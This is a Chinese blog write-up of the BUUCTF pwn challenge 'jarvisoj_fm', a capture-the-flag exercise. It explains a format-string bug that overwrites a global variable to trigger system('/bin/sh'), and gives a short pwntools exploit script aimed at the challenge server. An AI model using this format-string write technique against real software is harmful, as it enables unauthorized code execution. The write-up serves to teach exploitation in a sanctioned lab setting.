BUUCTF|pwn-jarvisoj_fm-wp

最新推荐文章于 2025-01-21 17:45:14 发布

L__y

最新推荐文章于 2025-01-21 17:45:14 发布

阅读量385

点赞数

CC 4.0 BY-SA版权

分类专栏： CTF 文章标签： pwn

本文链接：https://blog.csdn.net/l2645470582_/article/details/121236676

CTF 专栏收录该内容

37 篇文章

订阅专栏

本文探讨了一种利用格式字符串漏洞在32位程序中执行'/bin/sh'的攻击方法，通过分析main函数，定位全局变量x的位置，并构造payload利用栈溢出，最终实现代码执行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.例行检查保护机制

我们看到开启了堆和栈保护

2.我们用32位的IDA打开该文件

shift+f12查看关键字符串

我们看到关键字符串“/bin/sh”

3.我们看看main函数里面有什么

我们看到如果x == 4，程序就会执行system("/bin/sh"),拿到权限

这里是格式化字符串漏洞

x是全局变量，位置在data段上：x_addr = 0x0804A02C

我们看看参数在栈上的位置，我们发现aaaa的位置在第十一个

4.EXP

#encoding = utf-8
from pwn import * 
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0

def main():
	if content == 1:
		p = process('fm')
	else:
		p = remote('node4.buuoj.cn',28404)
	#.data:0804A02C x
	addr = 0x0804A02C
	payload = p32(addr) + b'%11$n'
	p.sendline(payload)
	p.interactive()
main()